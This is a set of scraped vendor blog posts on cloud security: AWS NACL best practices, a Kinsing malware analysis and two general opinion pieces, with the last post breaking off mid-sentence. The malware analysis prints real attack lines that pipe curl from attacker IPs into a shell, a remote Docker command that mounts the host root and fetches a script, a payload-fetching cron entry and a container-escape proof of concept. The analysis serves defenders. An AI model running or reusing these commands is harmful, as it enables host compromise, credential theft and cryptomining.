this form, I accept AlgoSec's privacy policy Schedule a call

Like all modern cloud providers, Amazon adopts the shared responsibility model for cloud security. Amazon guarantees secure... AWS NACL best practices: How to combine security groups with network ACLs effectively Prof. Avishai Wool 2 min read Prof. Avishai Wool Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/28/23 Published Like all modern cloud providers, Amazon adopts the shared responsibility model for cloud security. Amazon guarantees secure infrastructure for Amazon Web Services, while AWS users are responsible for maintaining secure configurations. That requires using multiple AWS services and tools to manage traffic. You’ll need to develop a set of inbound rules for incoming connections between your Amazon Virtual Private Cloud (VPC) and all of its Elastic Compute (EC2) instances and the rest of the Internet. You’ll also need to manage outbound traffic with a series of outbound rules. Your Amazon VPC provides you with several tools to do this. The two most important ones are security groups and Network Access Control Lists (NACLs). Security groups are stateful firewalls that secure inbound traffic for individual EC2 instances. Network ACLs are stateless firewalls that secure inbound and outbound traffic for VPC subnets. Managing AWS VPC security requires configuring both of these tools appropriately for your unique security risk profile. This means planning your security architecture carefully to align it the rest of your security framework. For example, your firewall rules impact the way Amazon Identity Access Management (IAM) handles user permissions. Some (but not all) IAM features can be implemented at the network firewall layer of security. Before you can manage AWS network security effectively , you must familiarize yourself with how AWS security tools work and what sets them apart. Everything you need to know about security groups vs NACLs AWS security groups explained: Every AWS account has a single default security group assigned to the default VPC in every Region. It is configured to allow inbound traffic from network interfaces assigned to the same group, using any protocol and any port. It also allows all outbound traffic using any protocol and any port. Your default security group will also allow all outbound IPv6 traffic once your VPC is associated with an IPv6 CIDR block. You can’t delete the default security group, but you can create new security groups and assign them to AWS EC2 instances. Each security group can only contain up to 60 rules, but you can set up to 2500 security groups per Region. You can associate many different security groups to a single instance, potentially combining hundreds of rules. These are all allow rules that allow traffic to flow according the ports and protocols specified. For example, you might set up a rule that authorizes inbound traffic over IPv6 for linux SSH commands and sends it to a specific destination. This could be different from the destination you set for other TCP traffic. Security groups are stateful, which means that requests sent from your instance will be allowed to flow regardless of inbound traffic rules. Similarly, VPC security groups automatically responses to inbound traffic to flow out regardless of outbound rules. However, since security groups do not support deny rules, you can’t use them to block a specific IP address from connecting with your EC2 instance. Be aware that Amazon EC2 automatically blocks email traffic on port 25 by default – but this is not included as a specific rule in your default security group. AWS NACLs explained: Your VPC comes with a default NACL configured to automatically allow all inbound and outbound network traffic. Unlike security groups, NACLs filter traffic at the subnet level. That means that Network ACL rules apply to every EC2 instance in the subnet, allowing users to manage AWS resources more efficiently. Every subnet in your VPC must be associated with a Network ACL. Any single Network ACL can be associated with multiple subnets, but each subnet can only be assigned to one Network ACL at a time. Every rule has its own rule number, and Amazon evaluates rules in ascending order. The most important characteristic of NACL rules is that they can deny traffic. Amazon evaluates these rules when traffic enters or leaves the subnet – not while it moves within the subnet. You can access more granular data on data flows using VPC flow logs. Since Amazon evaluates NACL rules in ascending order, make sure that you place deny rules earlier in the table than rules that allow traffic to multiple ports. You will also have to create specific rules for IPv4 and IPv6 traffic – AWS treats these as two distinct types of traffic, so rules that apply to one do not automatically apply to the other. Once you start customizing NACLs, you will have to take into account the way they interact with other AWS services. For example, Elastic Load Balancing won’t work if your NACL contains a deny rule excluding traffic from 0.0.0.0/0 or the subnet’s CIDR. You should create specific inclusions for services like Elastic Load Balancing, AWS Lambda, and AWS CloudWatch. You may need to set up specific inclusions for third-party APIs, as well. You can create these inclusions by specifying ephemeral port ranges that correspond to the services you want to allow. For example, NAT gateways use ports 1024 to 65535. This is the same range covered by AWS Lambda functions, but it’s different than the range used by Windows operating systems. When creating these rules, remember that unlike security groups, NACLs are stateless. That means that when responses to allowed traffic are generated, those responses are subject to NACL rules. Misconfigured NACLs deny traffic responses that should be allowed, leading to errors, reduced visibility, and potential security vulnerabilities . How to configure and map NACL associations A major part of optimizing NACL architecture involves mapping the associations between security groups and NACLs. Ideally, you want to enforce a specific set of rules at the subnet level using NACLs, and a different set of instance-specific rules at the security group level. Keeping these rulesets separate will prevent you from setting inconsistent rules and accidentally causing unpredictable performance problems. The first step in mapping NACL associations is using the Amazon VPC console to find out which NACL is associated with a particular subnet. Since NACLs can be associated with multiple subnets, you will want to create a comprehensive list of every association and the rules they contain. To find out which NACL is associated with a subnet: Open the Amazon VPC console . Select Subnets in the navigation pane. Select the subnet you want to inspect. The Network ACL tab will display the ID of the ACL associated with that network, and the rules it contains. To find out which subnets are associated with a NACL: Open the Amazon VPC console . Select Network ACLS in the navigation pane. Click over to the column entitled Associated With. Select a Network ACL from the list. Look for Subnet associations on the details pane and click on it. The pane will show you all subnets associated with the selected Network ACL. Now that you know how the difference between security groups and NACLs and you can map the associations between your subnets and NACLs, you’re ready to implement some security best practices that will help you strengthen and simplify your network architecture. 5 best practices for AWS NACL management Pay close attention to default NACLs, especially at the beginning Since every VPC comes with a default NACL, many AWS users jump straight into configuring their VPC and creating subnets, leaving NACL configuration for later. The problem here is that every subnet associated with your VPC will inherit the default NACL. This allows all traffic to flow into and out of the network. Going back and building a working security policy framework will be difficult and complicated – especially if adjustments are still being made to your subnet-level architecture. Taking time to create custom NACLs and assign them to the appropriate subnets as you go will make it much easier to keep track of changes to your security posture as you modify your VPC moving forward. Implement a two-tiered system where NACLs and security groups complement one another Security groups and NACLs are designed to complement one another, yet not every AWS VPC user configures their security policies accordingly. Mapping out your assets can help you identify exactly what kind of rules need to be put in place, and may help you determine which tool is the best one for each particular case. For example, imagine you have a two-tiered web application with web servers in one security group and a database in another. You could establish inbound NACL rules that allow external connections to your web servers from anywhere in the world (enabling port 443 connections) while strictly limiting access to your database (by only allowing port 3306 connections for MySQL). Look out for ineffective, redundant, and misconfigured deny rules Amazon recommends placing deny rules first in the sequential list of rules that your NACL enforces. Since you’re likely to enforce multiple deny rules per NACL (and multiple NACLs throughout your VPC), you’ll want to pay close attention to the order of those rules, looking for conflicts and misconfigurations that will impact your security posture. Similarly, you should pay close attention to the way security group rules interact with your NACLs. Even misconfigurations that are harmless from a security perspective may end up impacting the performance of your instance, or causing other problems. Regularly reviewing your rules is a good way to prevent these mistakes from occurring. Limit outbound traffic to the required ports or port ranges When creating a new NACL, you have the ability to apply inbound or outbound restrictions. There may be cases where you want to set outbound rules that allow traffic from all ports. Be careful, though. This may introduce vulnerabilities into your security posture. It’s better to limit access to the required ports, or to specify the corresponding port range for outbound rules. This establishes the principle of least privilege to outbound traffic and limits the risk of unauthorized access that may occur at the subnet level. Test your security posture frequently and verify the results How do you know if your particular combination of security groups and NACLs is optimal? Testing your architecture is a vital step towards making sure you haven’t left out any glaring vulnerabilities. It also gives you a good opportunity to address misconfiguration risks. This doesn’t always mean actively running penetration tests with experienced red team consultants, although that’s a valuable way to ensure best-in-class security. It also means taking time to validate your rules by running small tests with an external device. Consider using AWS flow logs to trace the way your rules direct traffic and using that data to improve your work. How to diagnose security group rules and NACL rules with flow logs Flow logs allow you to verify whether your firewall rules follow security best practices effectively. You can follow data ingress and egress and observe how data interacts with your AWS security rule architecture at each step along the way. This gives you clear visibility into how efficient your route tables are, and may help you configure your internet gateways for optimal performance. Before you can use the Flow Log CLI, you will need to create an IAM role that includes a policy granting users the permission to create, configure, and delete flow logs. Flow logs are available at three distinct levels, each accessible through its own console: Network interfaces VPCs Subnets You can use the ping command from an external device to test the way your instance’s security group and NACLs interact. Your security group rules (which are stateful) will allow the response ping from your instance to go through. Your NACL rules (which are stateless) will not allow the outbound ping response to travel back to your device. You can look for this activity through a flow log query. Here is a quick tutorial on how to create a flow log query to check your AWS security policies. First you’ll need to create a flow log in the AWS CLI. This is an example of a flow log query that captures all rejected traffic for a specified network interface. It delivers the flow logs to a CloudWatch log group with permissions specified in the IAM role: aws ec2 create-flow-logs \ –resource-type NetworkInterface \ –resource-ids eni-1235b8ca123456789 \ –traffic-type ALL \ –log-group-name my-flow-logs \ –deliver-logs-permission-arn arn:aws:iam::123456789101:role/publishFlowLogs Assuming your test pings represent the only traffic flowing between your external device and EC2 instance, you’ll get two records that look like this: 2 123456789010 eni-1235b8ca123456789 203.0.113.12 172.31.16.139 0 0 1 4 336 1432917027 1432917142 ACCEPT OK 2 123456789010 eni-1235b8ca123456789 172.31.16.139 203.0.113.12 0 0 1 4 336 1432917094 1432917142 REJECT OK To parse this data, you’ll need to familiarize yourself with flow log syntax. Default flow log records contain 14 arguments, although you can also expand custom queries to return more than double that number: Version tells you the version currently in use. Default flow logs requests use Version 2. Expanded custom requests may use Version 3 or 4. Account-id tells you the account ID of the owner of the network interface that traffic is traveling through. The record may display as unknown if the network interface is part of an AWS service like a Network Load Balancer. Interface-id shows the unique ID of the network interface for the traffic currently under inspection. Srcaddr shows the source of incoming traffic, or the address of the network interface for outgoing traffic. In the case of IPv4 addresses for network interfaces, it is always its private IPv4 address. Dstaddr shows the destination of outgoing traffic, or the address of the network interface for incoming traffic. In the case of IPv4 addresses for network interfaces, it is always its private IPv4 address. Srcport is the source port for the traffic under inspection. Dstport is the destination port for the traffic under inspection. Protocol refers to the corresponding IANA traffic protocol number . Packets describes the number of packets transferred. Bytes describes the number of bytes transferred. Start shows the start time when the first data packet was received. This could be up to one minute after the network interface transmitted or received the packet. End shows the time when the last data packet was received. This can be up to one minutes after the network interface transmitted or received the data packet. Action describes what happened to the traffic under inspection: ACCEPT means that traffic was allowed to pass. REJECT means the traffic was blocked, typically by security groups or NACLs. Log-status confirms the status of the flow log: OK means data is logging normally. NODATA means no network traffic to or from the network interface was detected during the specified interval. SKIPDATA means some flow log records are missing, usually due to internal capacity restraints or other errors. Going back to the example above, the flow log output shows that a user sent a command from a device with the IP address 203.0.113.12 to the network interface’s private IP address, which is 172.31.16.139. The security group’s inbound rules allowed the ICMP traffic to travel through, producing an ACCEPT record. However, the NACL did not let the ping response go through, because it is stateless. This generated the REJECT record that followed immediately after. If you configure your NACL to permit output ICMP traffic and run this test again, the second flow log record will change to ACCEPT. azon Web Services (AWS) is one of the most popular options for organizations looking to migrate their business applications to the cloud. It’s easy to see why: AWS offers high capacity, scalable and cost-effective storage, and a flexible, shared responsibility approach to security. Essentially, AWS secures the infrastructure, and you secure whatever you run on that infrastructure. However, this model does throw up some challenges. What exactly do you have control over? How can you customize your AWS infrastructure so that it isn’t just secure today, but will continue delivering robust, easily managed security in the future? The basics: security groups AWS offers virtual firewalls to organizations, for filtering traffic that crosses their cloud network segments. The AWS firewalls are managed using a concept called Security Groups. These are the policies, or lists of security rules, applied to an instance – a virtualized computer in the AWS estate. AWS Security Groups are not identical to traditional firewalls, and they have some unique characteristics and functionality that you should be aware of, and we’ve discussed them in detail in video lesson 1: the fundamentals of AWS Security Groups , but the crucial points to be aware of are as follows. First, security groups do not deny traffic – that is, all the rules in security groups are positive, and allow traffic. Second, while security group rules can be set to specify a traffic source, or a destination, they cannot specify both on the same rule. This is because AWS always sets the unspecified side (source or destination) as the instance to which the group is applied. Finally, single security groups can be applied to multiple instances, or multiple security groups can be applied to a single instance: AWS is very flexible. This flexibility is one of the unique benefits of AWS, allowing organizations to build bespoke security policies across different functions and even operating systems, mixing and matching them to suit their needs. Adding Network ACLs into the mix To further enhance and enrich its security filtering capabilities AWS also offers a feature called Network Access Control Lists (NACLs). Like security groups, each NACL is a list of rules, but there are two important differences between NACLs and security groups. The first difference is that NACLs are not directly tied to instances, but are tied with the subnet within your AWS virtual private cloud that contains the relevant instance. This means that the rules in a NACL apply to all of the instances within the subnet, in addition to all the rules from the security groups. So a specific instance inherits all the rules from the security groups associated with it, plus the rules associated with a NACL which is optionally associated with a subnet containing that instance. As a result NACLs have a broader reach, and affect more instances than a security group does. The second difference is that NACLs can be written to include an explicit action, so you can write ‘deny’ rules – for example to block traffic from a particular set of IP addresses which are known to be compromised. The ability to write ‘deny’ actions is a crucial part of NACL functionality. It’s all about the order As a consequence, when you have the ability to write both ‘allow’ rules and ‘deny’ rules, the order of the rules now becomes important. If you switch the order of the rules between a ‘deny’ and ‘allow’ rule, then you’re potentially changing your filtering policy quite dramatically. To manage this, AWS uses the concept of a ‘rule number’ within each NACL. By specifying the rule number, you can identify the correct order of the rules for your needs. You can choose which traffic you deny at the outset, and which you then actively allow. As such, with NACLs you can manage security tasks in a way that you cannot do with security groups alone. However, we did point out earlier that an instance inherits security rules from both the security groups, and from the NACLs – so how do these interact? The order by which rules are evaluated is this; For inbound traffic, AWS’s infrastructure first assesses the NACL rules. If traffic gets through the NACL, then all the security groups that are associated with that specific instance are evaluated, and the order in which this happens within and among the security groups is unimportant because they are all ‘allow’ rules. For outbound traffic, this order is reversed: the traffic is first evaluated against the security groups, and then finally against the NACL that is associated with the relevant subnet. You can see me explain this topic in person in my new whiteboard video: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Kyle Wickert explains how organizations can balance the need to modernize their networks without compromising security For businesses of... Digital Transformation Modernizing your infrastructure without neglecting security Kyle Wickert 2 min read Kyle Wickert Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/19/21 Published Kyle Wickert explains how organizations can balance the need to modernize their networks without compromising security For businesses of all shapes and sizes, the inherent value in moving enterprise applications into the cloud is beyond question. The ability to control computing capability at a more granular level can lead to significant cost savings, not to mention the speed at which new applications can be provisioned. Having a modern cloud-based infrastructure makes businesses more agile, allowing them to capitalize on market forces and other new opportunities much quicker than if they depended on on-premises, monolithic architecture alone. However, there is a very real risk that during the goldrush to modernized infrastructures, particularly during the pandemic when the pressure to migrate was accelerated rapidly, businesses might be overlooking the potential blind spot that threatens all businesses indiscriminately, and that is security. One of the biggest challenges for business leaders over the past decade has been managing the delicate balance between infrastructure upgrades and security. Our recent survey found that half of organizations who took part now run over 41% of workloads in the public cloud, and 11% reported a cloud security incident in the last twelve months. If businesses are to succeed and thrive in 2021 and beyond, they must learn how to walk this tightrope effectively. Let’s consider the highs and lows of modernizing legacy infrastructures, and the ways to make it a more productive experience. What are the risks in moving to the cloud? With cloud migration comes risk. Businesses that move into the cloud actually stand to lose a great deal if the process isn’t managed effectively. Moreover, they have some important decisions to make in terms of how they handle application migration. Do they simply move their applications and data into the cloud as they are as a ‘lift and shift’, or do they seek to take a more cloud-native approach and rebuild applications in the cloud to take full advantage of its myriad benefits? Once a business has started this move toward the cloud, it’s very difficult to rewind the process and unpick mistakes that may have been made, so planning really is critical. Then there’s the issue of attack surface area. Legacy on-premises applications might not be the leanest or most efficient, but they are relatively secure by default due to their limited exposure to external environments. Moving said applications onto the cloud has countless benefits to agility, efficiency, and cost, but it also increases the attack surface area for potential hackers. In other words, it gives bots and bad actors a larger target to hit. One of the many traps that businesses fall into is thinking that just because an application is in the cloud, it must be automatically secure. In fact, the reverse is true unless proper due diligence is paid to security during the migration process. The benefits of an app-centric approach One of the ways in which AlgoSec helps its customer master security in the cloud is by approaching it from an app-centric perspective. By understanding how a business uses its applications, including its connectivity paths through the cloud, data centers and SDN fabrics, we can build an application model that generates actionable insights such as the ability to create policy-based risks instead of leaning squarely on firewall controls. This is of particular importance when moving legacy applications onto the cloud. The inherent challenge here is that a business is typically taking a vulnerable application and making it even more vulnerable by moving it off-premise, relying solely on the cloud infrastructure to secure it. To address this, businesses should rank applications in order of sensitivity and vulnerability. In doing so, they may find some quick wins in terms of moving modern applications into the cloud that have less sensitive data. Once these short-term gains are dealt with, NetSecOps can focus on the legacy applications that contain more sensitive data which may require more diligence, time, and focus to move or rebuild securely. Migrating applications to the cloud is no easy feat and it can be a complex process even for the most technically minded NetSecOps. Automation takes a large proportion of the hard work away and enables teams to manage cloud environments efficiently while orchestrating changes across an array of security controls. It brings speed and accuracy to managing security changes and accelerates audit preparation for continuous compliance. Automation also helps organizations overcome skills gaps and staffing limitations. We are likely to see conflict between modernization and security for some time. On one hand, we want to remove the constraints of on-premises infrastructure as quickly as possible to leverage the endless possibilities of cloud. On the other hand, we have to safeguard against the opportunistic hackers waiting on the fray for the perfect time to strike. By following the guidelines set out in front of them, businesses can modernize without compromise. To learn more about migrating enterprise apps into the cloud without compromising on security, and how a DevSecOps approach could help your business modernize safely, watch our recent Bright TALK webinar here . Alternatively, get in touch or book a free demo . Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Cloud security is one of the big buzzwords in the security space along with big data and others. So we’ll try to tackle where cloud... Information Security Cloud Security: Current Status, Trends and Tips Kyle Wickert 2 min read Kyle Wickert Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 6/25/13 Published Cloud security is one of the big buzzwords in the security space along with big data and others. So we’ll try to tackle where cloud security is today, where its heading as well as outline challenges and offer tips for CIOs and CSOs looking to experiment with putting more systems and data in the cloud. The cloud is viewed by many as a solution to reducing IT costs and ultimately has led many organizations to accept data risks they would not consider acceptable in their own environments. In our State of Network Security 2013 Survey , we asked security professionals how many security controls were in the cloud and 60 percent of respondents reported having less than a quarter of their security controls in the cloud – and in North America the larger the organization, the less security controls in the cloud. Certainly some security controls just aren’t meant for the cloud, but I think this highlights the uncertainty around the cloud, especially for larger organizations. Current State of Cloud Security Cloud security has clearly emerged with both a technological and business case, but from a security perspective, it’s still a bit in a state of flux. A key challenges that many information security professionals are struggling with is how to classify the cloud and define the appropriate type of controls to secure data entering the cloud. While oftentimes the cloud is classified as a trusted network, the cloud is inherently untrusted since it is not simply an extension of the organization, but it’s an entirely separate environment that is out of the organization’s control. Today “the cloud” can mean a lot of things: a cloud could be a state-of-the-art data center or a server rack in a farm house holding your organization’s data. One of the biggest reasons that organizations entertain the idea of putting more systems, data and controls in the cloud is because of the certain cost savings. One tip would be to run a true cost-benefit-risk analysis that factors in the value of the data being sent into the cloud. There is value to be gained from sending non-sensitive data into the cloud, but when it comes to more sensitive information, the security costs will increase to the point where the analysis may suggest keeping in-house. Cloud Security Trends Here are several trends to look for when it comes to cloud security: Data security is moving to the forefront, as security teams refocus their efforts in securing the data itself instead of simply the servers it resides on. A greater focus is being put on efforts such as securing data-at-rest, thus mitigating the need to some degree the reliance on system administrators to maintain OS level controls, often outside the scope of management for information security teams. With more data breaches occurring each day, I think we will see a trend in collecting less data where is it simply not required. Systems that are processing or storing sensitive data, by their very nature, incur a high cost to IT departments, so we’ll see more effort being placed on business analysis and system architecture to avoid collecting data that may not be required for the business task. Gartner Research recently noted that by 2019, 90 percent of organizations will have personal data on IT systems they don’t own or control! Today, content and cloud providers typically use legal means to mitigate the impact of any potential breaches or loss of data. I think as cloud services mature, we’ll see more of a shift to a model where it’s not just these vendors offering software as a service, but also includes security controls in conjunction with their services. More pressure from security teams will be put on content providers to provide such things as dedicated database tiers, to isolate their organization’s data within the cloud itself. Cloud Security Tips Make sure you classify data before even considering sending it for processing or storage in the cloud. If data is deemed too sensitive, the risks of sending this data into the cloud must be weighed closely against the costs of appropriately securing it in the cloud. Once information is sent into the cloud, there is no going back! So make sure you’ve run a comprehensive analysis of what you’re putting in the cloud and vet your vendors carefully as cloud service providers use varying architectures, processes, and procedures that may place your data in many precarious places. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Multi-cloud environments create complex IT architectures that are hard to secure. Although cloud computing creates numerous advantages... Cloud Security 3 Proven Tips to Finding the Right CSPM Solution Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/24/22 Published Multi-cloud environments create complex IT architectures that are hard to secure. Although cloud computing creates numerous advantages for companies, it also increases the risk of data breaches. Did you know that you can mitigate these risks with a CSPM? Rony Moshkovitch, Prevasio’s co-founder, discusses why modern organizations need to opt for a CSPM solution when migrating to the cloud and also offers three powerful tips to finding and implementing the right one. Cloud Security Can Get Messy if You Let it A cloud-based IT infrastructure can lower your IT costs, boost your agility, flexibility, and scalability, and enhance business resilience. These great advantages notwithstanding, the cloud also has one serious drawback: it is not easy to secure. When you move from an on-premise infrastructure to the cloud, the size of your digital footprint expands. This can attract hackers on the prowl who are looking for the first opportunity to compromise your assets or steal your data. Cloud security solutions include multiple elements that must be managed and protected, such as microservices, containers, and serverless functions. These elements increase cloud complexity, reduce visibility into the cloud estate, and make it harder to secure. For all these reasons, security issues arise in the cloud, increasing the risk of 